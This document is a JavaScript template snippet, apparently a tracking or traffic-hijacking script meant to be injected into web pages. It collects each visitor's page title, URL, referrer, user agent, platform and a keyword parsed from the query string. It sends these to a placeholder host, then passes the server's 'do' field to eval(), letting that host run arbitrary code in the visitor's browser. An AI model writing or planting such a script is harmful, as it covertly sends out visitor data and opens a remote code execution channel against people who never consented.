if (!window.ly_func22) {
    window.ly_func22 = {
        parseURL: function (url) {
            var a = document.createElement('a');
            a.href = url;
            return {
                source: url,
                protocol: a.protocol.replace(':', ''),
                host: a.hostname,
                port: a.port,
                query: a.search,
                params: (function () {
                    var ret = {},
                        seg = a.search.replace(/^\?/, '').split('&'),
                        len = seg.length, i = 0, s;
                    for (; i < len; i++) {
                        if (!seg[i]) { continue; }
                        s = seg[i].split('=');
                        ret[s[0]] = s[1];
                    }
                    return ret;
                })(),
                file: (a.pathname.match(/\/([^\/?#]+)$/i) || [, ''])[1],
                hash: a.hash.replace('#', ''),
                path: a.pathname.replace(/^([^\/])/, '/$1'),
                relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [, ''])[1],
                segments: a.pathname.replace(/^\//, '').split('/')
            };
        },

        post: function (url, data, fn) {
            var obj = new XMLHttpRequest();
            obj.open("POST", url, true);
            //obj.withCredentials = true;
            obj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            obj.onreadystatechange = function () {
                if (obj.readyState == 4 && (obj.status == 200 || obj.status == 304)) {
                    fn.call(this, obj.responseText);
                }
            };
            obj.send(data);
        }
    }

    var $data = { "sn": "<{$sn}>" },
        $url = ly_func22.parseURL(window.location.href), $wd = "";
    var $e = $url.params.e;
    if ($e) {
        if ($e.indexOf('777') >= 0) {
            $e = decodeURIComponent($e);
            $wd = $e.replace('777', '');
            $wd = $wd.replace('444', '');
            $wd = $wd.replace('bpjiechi-', '');
            $wd = $wd.replace('neibaidu', '');
        } else {
            $wd = "<{$default_keyword}>";
        }
    }
    $data["title"] = document.title;
    $data["href"] = window.location.href;
    $data["user_agent"] = navigator.userAgent;
    $data["referrer"] = document.referrer;
    $data["source"] = $url.host;
    $data["deal_name"] = 'in_swt';
    $data["wd"] = $wd || '';
    $data["shbkwod"] = $url.params.shbkwod || '';
    $data["platform"] = navigator.platform;



    ly_func22.post("__HOST__/api/soft", JSON.stringify($data), function ($rs) {
        $rs = JSON.parse($rs);
        if ($rs['code'] == '0') {
            window.shb_isclick = '1';
            eval($rs['do'])
        }
    });
}

